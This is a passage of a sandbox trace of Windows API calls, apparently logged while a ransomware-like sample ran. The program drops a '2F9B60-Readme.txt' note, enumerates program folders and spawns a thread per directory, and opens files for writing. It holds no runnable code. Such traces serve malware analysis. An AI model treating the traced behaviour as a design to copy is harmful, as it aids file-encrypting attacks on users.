HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" [0105.593] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2f9b60-readme.txt")) returned 0x2020 [0105.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4bf0) returned 1 [0105.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027a6f0) returned 1 Thread: id = 953 os_tid = 0x158c [0101.251] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files (x86)\\common files\\services\\verisign.bmp")) returned 0x20 [0101.251] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp", dwFileAttributes=0x20) returned 0 [0101.252] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files (x86)\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0101.252] GetLastError () returned 0x5 [0101.252] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp", dwFileAttributes=0x20) returned 0 [0101.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e310) returned 1 Thread: id = 954 os_tid = 0x1590 [0101.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202afb20 [0101.254] wcscpy (in: _Dest=0x202afb20, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" [0101.255] wcscat (in: _Dest=0x202afb20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\" [0101.255] wcscat (in: _Dest=0x202afb20, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\*") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\*" [0101.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd633e0 [0101.255] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858c10 [0101.255] wcscmp (_String1=".", _String2=".") returned 0 [0101.255] FindNextFileW (in: hFindFile=0x1b858c10, lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.255] wcscmp (_String1="..", _String2=".") returned 1 [0101.255] wcscmp (_String1="..", _String2="..") returned 0 [0101.255] FindNextFileW (in: hFindFile=0x1b858c10, lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0101.255] wcscmp (_String1="TTS20", _String2=".") returned 1 [0101.255] wcscmp (_String1="TTS20", _String2="..") returned 1 [0101.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202afbb0 [0101.255] wcscpy (in: _Dest=0x202afbb0, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft" [0101.255] wcscat (in: _Dest=0x202afbb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\" [0101.256] wcscat (in: _Dest=0x202afbb0, _Source="TTS20" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20" [0127.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202afbb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1530 [0127.056] FindNextFileW (in: hFindFile=0x1b858c10, lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0127.056] FindClose (in: hFindFile=0x1b858c10 | out: hFindFile=0x1b858c10) returned 1 [0127.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd633e0) returned 1 [0127.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202afb20) returned 1 [0127.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e390) returned 1 Thread: id = 955 os_tid = 0x1594 [0101.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c23d0 [0101.257] wcscpy (in: _Dest=0x1b7c23d0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application" [0101.257] wcscat (in: _Dest=0x1b7c23d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\" [0101.257] wcscat (in: _Dest=0x1b7c23d0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*" [0101.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61b80 [0101.258] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\*", lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858df0 [0101.258] wcscmp (_String1=".", _String2=".") returned 0 [0101.258] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.258] wcscmp (_String1="..", _String2=".") returned 1 [0101.258] wcscmp (_String1="..", _String2="..") returned 0 [0101.258] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d78b680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="58.0.3029.110", cAlternateFileName="580302~1.110")) returned 1 [0101.258] wcscmp (_String1="58.0.3029.110", _String2=".") returned 1 [0101.258] wcscmp (_String1="58.0.3029.110", _String2="..") returned 1 [0101.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202afc40 [0101.258] wcscpy (in: _Dest=0x202afc40, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application" [0101.258] wcscat (in: _Dest=0x202afc40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\" [0101.258] wcscat (in: _Dest=0x202afc40, _Source="58.0.3029.110" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110" [0127.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202afc40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1688 [0127.059] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7344dbd0, ftLastWriteTime.dwHighDateTime=0x1d2c8a4, nFileSizeHigh=0x0, nFileSizeLow=0x117358, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.exe", cAlternateFileName="")) returned 1 [0127.059] wcscmp (_String1="chrome.exe", _String2=".") returned 1 [0127.059] wcscmp (_String1="chrome.exe", _String2="..") returned 1 [0127.059] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7ded59e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7ded59e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.VisualElementsManifest.xml", cAlternateFileName="CHROME~1.XML")) returned 1 [0127.059] wcscmp (_String1="chrome.VisualElementsManifest.xml", _String2=".") returned 1 [0127.059] wcscmp (_String1="chrome.VisualElementsManifest.xml", _String2="..") returned 1 [0127.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b8627d0 [0127.059] wcscpy (in: _Dest=0x1b8627d0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application" [0127.059] wcscat (in: _Dest=0x1b8627d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\" [0127.059] wcscat (in: _Dest=0x1b8627d0, _Source="chrome.VisualElementsManifest.xml" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.VisualElementsManifest.xml" [0127.059] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8627d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4 [0127.060] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 1 [0127.060] wcscmp (_String1="SetupMetrics", _String2=".") returned 1 [0127.060] wcscmp (_String1="SetupMetrics", _String2="..") returned 1 [0127.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202afb20 [0127.060] wcscpy (in: _Dest=0x202afb20, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application" [0127.060] wcscat (in: _Dest=0x202afb20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\" [0127.060] wcscat (in: _Dest=0x202afb20, _Source="SetupMetrics" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics" [0127.060] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202afb20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408 [0127.061] FindNextFileW (in: hFindFile=0x1b858df0, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ded59e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f252e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f252e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupMetrics", cAlternateFileName="SETUPM~1")) returned 0 [0127.061] FindClose (in: hFindFile=0x1b858df0 | out: hFindFile=0x1b858df0) returned 1 [0127.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61b80) returned 1 [0127.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c23d0) returned 1 [0127.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e1e0) returned 1 Thread: id = 956 os_tid = 0x1598 [0101.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b858f70 [0101.264] wcscpy (in: _Dest=0x1b858f70, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin" [0101.264] wcscat (in: _Dest=0x1b858f70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\" [0101.264] wcscat (in: _Dest=0x1b858f70, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\*" [0101.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd611c0 [0101.264] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\*", lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86c10 [0101.580] wcscmp (_String1=".", _String2=".") returned 0 [0101.580] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.699] wcscmp (_String1="..", _String2=".") returned 1 [0101.699] wcscmp (_String1="..", _String2="..") returned 0 [0101.699] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x11e7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="awt.dll", cAlternateFileName="")) returned 1 [0101.699] wcscmp (_String1="awt.dll", _String2=".") returned 1 [0101.699] wcscmp (_String1="awt.dll", _String2="..") returned 1 [0101.699] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x255a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="axbridge.dll", cAlternateFileName="")) returned 1 [0101.699] wcscmp (_String1="axbridge.dll", _String2=".") returned 1 [0101.699] wcscmp (_String1="axbridge.dll", _String2="..") returned 1 [0101.699] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x76eb12e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x76eb12e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="client", cAlternateFileName="")) returned 1 [0101.700] wcscmp (_String1="client", _String2=".") returned 1 [0101.700] wcscmp (_String1="client", _String2="..") returned 1 [0101.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd86df0 [0101.700] wcscpy (in: _Dest=0x1cd86df0, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin" [0101.700] wcscat (in: _Dest=0x1cd86df0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\" [0101.700] wcscat (in: _Dest=0x1cd86df0, _Source="client" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" [0127.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f0 [0127.109] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x22ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcpr.dll", cAlternateFileName="")) returned 1 [0127.110] wcscmp (_String1="dcpr.dll", _String2=".") returned 1 [0127.110] wcscmp (_String1="dcpr.dll", _String2="..") returned 1 [0127.110] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="decora-sse.dll", cAlternateFileName="DECORA~1.DLL")) returned 1 [0127.110] wcscmp (_String1="decora-sse.dll", _String2=".") returned 1 [0127.110] wcscmp (_String1="decora-sse.dll", _String2="..") returned 1 [0127.110] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x58fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.dll", cAlternateFileName="")) returned 1 [0127.110] wcscmp (_String1="deploy.dll", _String2=".") returned 1 [0127.110] wcscmp (_String1="deploy.dll", _String2="..") returned 1 [0127.110] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dtplugin", cAlternateFileName="")) returned 1 [0127.110] wcscmp (_String1="dtplugin", _String2=".") returned 1 [0127.110] wcscmp (_String1="dtplugin", _String2="..") returned 1 [0127.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1ced8ad0 [0127.110] wcscpy (in: _Dest=0x1ced8ad0, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin" [0127.110] wcscat (in: _Dest=0x1ced8ad0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\" [0127.110] wcscat (in: _Dest=0x1ced8ad0, _Source="dtplugin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin" [0127.110] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ced8ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578 [0127.111] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x63a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0127.111] wcscmp (_String1="dt_shmem.dll", _String2=".") returned 1 [0127.111] wcscmp (_String1="dt_shmem.dll", _String2="..") returned 1 [0127.111] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_socket.dll", cAlternateFileName="DT_SOC~1.DLL")) returned 1 [0127.111] wcscmp (_String1="dt_socket.dll", _String2=".") returned 1 [0127.111] wcscmp (_String1="dt_socket.dll", _String2="..") returned 1 [0127.111] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a9a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.dll", cAlternateFileName="")) returned 1 [0127.111] wcscmp (_String1="eula.dll", _String2=".") returned 1 [0127.111] wcscmp (_String1="eula.dll", _String2="..") returned 1 [0127.111] FindNextFileW (in: hFindFile=0x1cd86c10, lpFindFileData=0x1cd611c0 | out: lpFindFileData=0x1cd611c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x34fa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="fontmanager.dll", cAlternateFileName="FONTMA~1.DLL")) returned 1 [0127.111] wcscmp (_String1="fontmanager.dll", _String2=".") returned 1 [0127.111] 